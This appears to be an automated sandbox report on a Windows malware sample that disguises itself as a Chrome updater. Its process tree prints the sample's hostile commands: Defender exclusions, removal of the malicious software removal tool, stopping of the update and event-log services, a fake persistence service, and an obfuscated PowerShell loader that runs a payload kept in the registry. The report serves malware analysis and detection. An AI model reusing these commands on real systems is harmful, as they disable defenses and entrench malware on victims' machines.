e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c

Analysis

max time kernel
150s
max time network
17s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-11-2024 13:12

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General

Target

e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
Size

15.9MB
MD5

d3c16cede9b6e4ee304a0184328d313d
SHA1

bd82838a3cc343956ecce4d5051b510dd941de11
SHA256

e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c
SHA512

284c38ba1a8ce4120120eb89a8e17bcbb6c3d18874c189d65812e767a111883813163ab614d5de802b5ee2fe774143a84017399508c24ac061029828d3046f6b
SSDEEP

393216:fwibRRlK6/C+1ZDpHKG1cVWNEtW5I+L11k2OEin:f7RllK+LlaaSW5zL1ypEin

Score

10^/10

evasion execution persistence

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Processes:

svchost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 1920 created 432 1920 powershell.EXE winlogon.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.EXE

pid process

2392 powershell.exe
2940 powershell.exe
1920 powershell.EXE
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

description	pid	process	target process
PID 1920 created 432	1920	powershell.EXE	winlogon.exe

pid	process
2392	powershell.exe
2940	powershell.exe
1920	powershell.EXE

Drops file in Drivers directory 2 IoCs

Processes:

e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exeupdater.exe

description	ioc	process
File created	C:\Windows\system32\drivers\etc\hosts	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Executes dropped EXE 2 IoCs

Processes:

services.exeupdater.exe

pid process

476 services.exe
2304 updater.exe
Loads dropped DLL 1 IoCs

Processes:

services.exe

pid process

476 services.exe
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

Power Settings
T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

3056 powercfg.exe
2000 powercfg.exe
1948 powercfg.exe
856 powercfg.exe
2632 powercfg.exe
2624 powercfg.exe
2604 powercfg.exe
2580 powercfg.exe

pid	process
476	services.exe
2304	updater.exe

pid	process
476	services.exe

pid	process
3056	powercfg.exe
2000	powercfg.exe
1948	powercfg.exe
856	powercfg.exe
2632	powercfg.exe
2624	powercfg.exe
2604	powercfg.exe
2580	powercfg.exe

Drops file in System32 directory 7 IoCs

Processes:

svchost.exepowershell.exee4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exepowershell.EXEpowershell.exeupdater.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Tasks\dialersvc64	svchost.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	updater.exe
File created	C:\Windows\System32\Tasks\dialersvc64	svchost.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exepowershell.EXEupdater.exe

description	pid	process	target process
PID 3016 set thread context of 2088	3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 1920 set thread context of 2892	1920	powershell.EXE	dllhost.exe
PID 2304 set thread context of 2420	2304	updater.exe	dialer.exe
PID 2304 set thread context of 2736	2304	updater.exe	dialer.exe
PID 2304 set thread context of 3016	2304	updater.exe	dialer.exe

Drops file in Windows directory 2 IoCs

Processes:

wusa.exewusa.exe

description ioc process

File created C:\Windows\wusa.lock wusa.exe
File created C:\Windows\wusa.lock wusa.exe

description	ioc	process
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
2692	sc.exe
2232	sc.exe
1316	sc.exe
2812	sc.exe
2272	sc.exe
2872	sc.exe
2784	sc.exe
2780	sc.exe
2856	sc.exe
2616	sc.exe
1796	sc.exe
2444	sc.exe
1996	sc.exe
2108	sc.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

powershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 904ce206173cdb01	powershell.EXE

Suspicious behavior: EnumeratesProcesses 42 IoCs

Processes:

e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exepowershell.exepowershell.EXEupdater.exepowershell.exedllhost.exe

pid	process
3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
2392	powershell.exe
3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
1920	powershell.EXE
2304	updater.exe
2304	updater.exe
1920	powershell.EXE
2940	powershell.exe
2892	dllhost.exe
2892	dllhost.exe
2892	dllhost.exe
2892	dllhost.exe
2304	updater.exe
2304	updater.exe
2304	updater.exe
2304	updater.exe
2304	updater.exe
2304	updater.exe
2304	updater.exe
2304	updater.exe
2304	updater.exe
2304	updater.exe
2304	updater.exe
2304	updater.exe
2304	updater.exe
2892	dllhost.exe
2892	dllhost.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

Processes:

powershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.EXEpowershell.exedllhost.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	2392	powershell.exe
Token: SeShutdownPrivilege	2632	powercfg.exe
Token: SeShutdownPrivilege	2580	powercfg.exe
Token: SeShutdownPrivilege	2624	powercfg.exe
Token: SeShutdownPrivilege	2604	powercfg.exe
Token: SeDebugPrivilege	1920	powershell.EXE
Token: SeDebugPrivilege	1920	powershell.EXE
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeDebugPrivilege	2892	dllhost.exe
Token: SeShutdownPrivilege	1948	powercfg.exe
Token: SeShutdownPrivilege	856	powercfg.exe
Token: SeShutdownPrivilege	3056	powercfg.exe
Token: SeShutdownPrivilege	2000	powercfg.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exee4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exetaskeng.exepowershell.EXEdllhost.execmd.exeupdater.exe

description	pid	process	target process
PID 2784 wrote to memory of 2956	2784	cmd.exe	wusa.exe
PID 2784 wrote to memory of 2956	2784	cmd.exe	wusa.exe
PID 2784 wrote to memory of 2956	2784	cmd.exe	wusa.exe
PID 3016 wrote to memory of 2088	3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 3016 wrote to memory of 2088	3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 3016 wrote to memory of 2088	3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 3016 wrote to memory of 2088	3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 3016 wrote to memory of 2088	3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 3016 wrote to memory of 2088	3016	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 1500 wrote to memory of 1920	1500	taskeng.exe	powershell.EXE
PID 1500 wrote to memory of 1920	1500	taskeng.exe	powershell.EXE
PID 1500 wrote to memory of 1920	1500	taskeng.exe	powershell.EXE
PID 1920 wrote to memory of 2892	1920	powershell.EXE	dllhost.exe
PID 1920 wrote to memory of 2892	1920	powershell.EXE	dllhost.exe
PID 1920 wrote to memory of 2892	1920	powershell.EXE	dllhost.exe
PID 1920 wrote to memory of 2892	1920	powershell.EXE	dllhost.exe
PID 1920 wrote to memory of 2892	1920	powershell.EXE	dllhost.exe
PID 1920 wrote to memory of 2892	1920	powershell.EXE	dllhost.exe
PID 1920 wrote to memory of 2892	1920	powershell.EXE	dllhost.exe
PID 1920 wrote to memory of 2892	1920	powershell.EXE	dllhost.exe
PID 1920 wrote to memory of 2892	1920	powershell.EXE	dllhost.exe
PID 2892 wrote to memory of 432	2892	dllhost.exe	winlogon.exe
PID 2892 wrote to memory of 476	2892	dllhost.exe	services.exe
PID 2892 wrote to memory of 492	2892	dllhost.exe	lsass.exe
PID 2892 wrote to memory of 500	2892	dllhost.exe	lsm.exe
PID 2892 wrote to memory of 592	2892	dllhost.exe	svchost.exe
PID 2892 wrote to memory of 676	2892	dllhost.exe	svchost.exe
PID 2892 wrote to memory of 740	2892	dllhost.exe	svchost.exe
PID 2892 wrote to memory of 820	2892	dllhost.exe	svchost.exe
PID 2892 wrote to memory of 848	2892	dllhost.exe	svchost.exe
PID 2892 wrote to memory of 972	2892	dllhost.exe	svchost.exe
PID 2892 wrote to memory of 276	2892	dllhost.exe	svchost.exe
PID 2892 wrote to memory of 328	2892	dllhost.exe	spoolsv.exe
PID 2892 wrote to memory of 1064	2892	dllhost.exe	svchost.exe
PID 2892 wrote to memory of 1108	2892	dllhost.exe	taskhost.exe
PID 2892 wrote to memory of 1172	2892	dllhost.exe	Dwm.exe
PID 2892 wrote to memory of 1196	2892	dllhost.exe	Explorer.EXE
PID 2892 wrote to memory of 556	2892	dllhost.exe	OSPPSVC.EXE
PID 2892 wrote to memory of 840	2892	dllhost.exe	wmiprvse.exe
PID 2892 wrote to memory of 1636	2892	dllhost.exe	DllHost.exe
PID 2892 wrote to memory of 2544	2892	dllhost.exe	svchost.exe
PID 2892 wrote to memory of 2292	2892	dllhost.exe	sppsvc.exe
PID 2892 wrote to memory of 2444	2892	dllhost.exe	sc.exe
PID 2892 wrote to memory of 320	2892	dllhost.exe	conhost.exe
PID 2892 wrote to memory of 1500	2892	dllhost.exe	taskeng.exe
PID 2892 wrote to memory of 2304	2892	dllhost.exe	updater.exe
PID 2892 wrote to memory of 1920	2892	dllhost.exe	powershell.EXE
PID 2892 wrote to memory of 1752	2892	dllhost.exe	conhost.exe
PID 2692 wrote to memory of 2584	2692	cmd.exe	wusa.exe
PID 2692 wrote to memory of 2584	2692	cmd.exe	wusa.exe
PID 2692 wrote to memory of 2584	2692	cmd.exe	wusa.exe
PID 2304 wrote to memory of 2420	2304	updater.exe	dialer.exe
PID 2304 wrote to memory of 2420	2304	updater.exe	dialer.exe
PID 2304 wrote to memory of 2420	2304	updater.exe	dialer.exe
PID 2304 wrote to memory of 2420	2304	updater.exe	dialer.exe
PID 2304 wrote to memory of 2420	2304	updater.exe	dialer.exe
PID 2304 wrote to memory of 2420	2304	updater.exe	dialer.exe
PID 2304 wrote to memory of 2736	2304	updater.exe	dialer.exe
PID 2304 wrote to memory of 2736	2304	updater.exe	dialer.exe
PID 2304 wrote to memory of 2736	2304	updater.exe	dialer.exe
PID 2304 wrote to memory of 2736	2304	updater.exe	dialer.exe
PID 2304 wrote to memory of 2736	2304	updater.exe	dialer.exe
PID 2304 wrote to memory of 2736	2304	updater.exe	dialer.exe
PID 2304 wrote to memory of 2736	2304	updater.exe	dialer.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:432
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{46316615-b958-4da1-ba2f-c1b3fc9cfc80}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2892

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:476
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:592
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:840
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:1636
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:676
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  PID:740
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:820
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1172
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Drops file in System32 directory
  PID:848
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {72A7E93F-BAF4-4BA1-B7F5-DEBD9CB0A3F6} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1500
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+'F'+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue('d'+[Char](105)+'a'+[Char](108)+''+'e'+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+'a'+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1920
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:972
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:276
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:328
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1064
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1108
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:556
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:2544
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:2292
- C:\ProgramData\Google\Chrome\updater.exe
  C:\ProgramData\Google\Chrome\updater.exe
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2692
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      Drops file in Windows directory
      PID:2584
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2272
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2108
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2784
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:2812
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:1996
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:856
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1948
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2000
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3056
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    PID:2420
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    PID:2736
- - C:\Windows\system32\dialer.exe
    dialer.exe
    3⤵
    PID:3016

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:492

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:500

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1196
- C:\Users\Admin\AppData\Local\Temp\e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
  "C:\Users\Admin\AppData\Local\Temp\e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe"
  2⤵
  - Drops file in Drivers directory
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2784
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      Drops file in Windows directory
      PID:2956
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2780
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2692
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2232
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:2872
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:2616
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2580
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2604
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2624
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2632
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    PID:2088
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
    3⤵
    - Launches sc.exe
    PID:1796
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:2856
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:1316
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
    3⤵
    - Launches sc.exe
    PID:2444

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-5130174561907571396-2091534661386456186627431108-996097639-1217335925976755497"
1⤵
PID:320

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-672572833-9480255021621462498-1508592931597472469-12356079001918247961996776128"
1⤵
PID:1752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Windows\System32\Tasks\dialersvc64

Filesize
3KB

MD5
9fccb6d75db2f23a13d707e055dfe930

SHA1
4652f265214c02acf4efc86cd06821ac74f2032b

SHA256
50b882320951621679d7f918cf10e99ef6ccd25e9afe0cec127bfae619dcce47

SHA512
6dabf6cff6c7372d5db423a6049e6a2cf732e5ee26ac76accd5eb36d42ebe51be47dc5f4bf1745bc10adcf0c8282b059f4b9c6a4090d031d8ba20db0c196f4ad

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
3KB

MD5
4f9d9c2ae7b134963b4be3f67aeab8cb

SHA1
91a63a9655786a0267010aaa811135033084561b

SHA256
a1d4e2e3c808b03bd4e21eb57d93576bfffd9be422587a61d3e67abb67806d2f

SHA512
07fb8e1ddbc809803987d1ef6df97ca137ba18a13eccca1bf9a1e5b32b41da181c34045e1b63319d502ecdc95f038e84e01b7af03cb38efd53b6a949c82c9edd

Download Submit
\ProgramData\Google\Chrome\updater.exe

Filesize
15.9MB

MD5
d3c16cede9b6e4ee304a0184328d313d

SHA1
bd82838a3cc343956ecce4d5051b510dd941de11

SHA256
e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c

SHA512
284c38ba1a8ce4120120eb89a8e17bcbb6c3d18874c189d65812e767a111883813163ab614d5de802b5ee2fe774143a84017399508c24ac061029828d3046f6b

Download Submit
memory/432-73-0x0000000000BD0000-0x0000000000BFB000-memory.dmp

Filesize
172KB

Download
memory/432-65-0x0000000000BA0000-0x0000000000BC5000-memory.dmp

Filesize
148KB

Download
memory/432-66-0x0000000000BD0000-0x0000000000BFB000-memory.dmp

Filesize
172KB

Download
memory/432-63-0x0000000000BA0000-0x0000000000BC5000-memory.dmp

Filesize
148KB

Download
memory/432-74-0x000007FEBDD00000-0x000007FEBDD10000-memory.dmp

Filesize
64KB

Download
memory/432-75-0x0000000037AE0000-0x0000000037AF0000-memory.dmp

Filesize
64KB

Download
memory/432-67-0x0000000000BD0000-0x0000000000BFB000-memory.dmp

Filesize
172KB

Download
memory/476-81-0x0000000000C40000-0x0000000000C6B000-memory.dmp

Filesize
172KB

Download
memory/476-87-0x0000000000C40000-0x0000000000C6B000-memory.dmp

Filesize
172KB

Download
memory/476-88-0x000007FEBDD00000-0x000007FEBDD10000-memory.dmp

Filesize
64KB

Download
memory/476-89-0x0000000037AE0000-0x0000000037AF0000-memory.dmp

Filesize
64KB

Download
memory/1920-39-0x000000001A130000-0x000000001A412000-memory.dmp

Filesize
2.9MB

Download
memory/1920-42-0x0000000077AA0000-0x0000000077C49000-memory.dmp

Filesize
1.7MB

Download
memory/1920-41-0x0000000001270000-0x000000000129A000-memory.dmp

Filesize
168KB

Download
memory/1920-43-0x0000000077980000-0x0000000077A9F000-memory.dmp

Filesize
1.1MB

Download
memory/1920-40-0x0000000000480000-0x0000000000488000-memory.dmp

Filesize
32KB

Download
memory/2088-31-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/2088-28-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/2088-29-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/2088-27-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/2088-26-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/2304-50-0x000000013F540000-0x0000000141142000-memory.dmp

Filesize
28.0MB

Download
memory/2304-48-0x0000000077C50000-0x0000000077C52000-memory.dmp

Filesize
8KB

Download
memory/2392-23-0x000007FEF5EA0000-0x000007FEF683D000-memory.dmp

Filesize
9.6MB

Download
memory/2392-18-0x0000000002650000-0x0000000002658000-memory.dmp

Filesize
32KB

Download
memory/2392-21-0x000007FEF5EA0000-0x000007FEF683D000-memory.dmp

Filesize
9.6MB

Download
memory/2392-16-0x000007FEF615E000-0x000007FEF615F000-memory.dmp

Filesize
4KB

Download
memory/2392-17-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/2392-24-0x000007FEF5EA0000-0x000007FEF683D000-memory.dmp

Filesize
9.6MB

Download
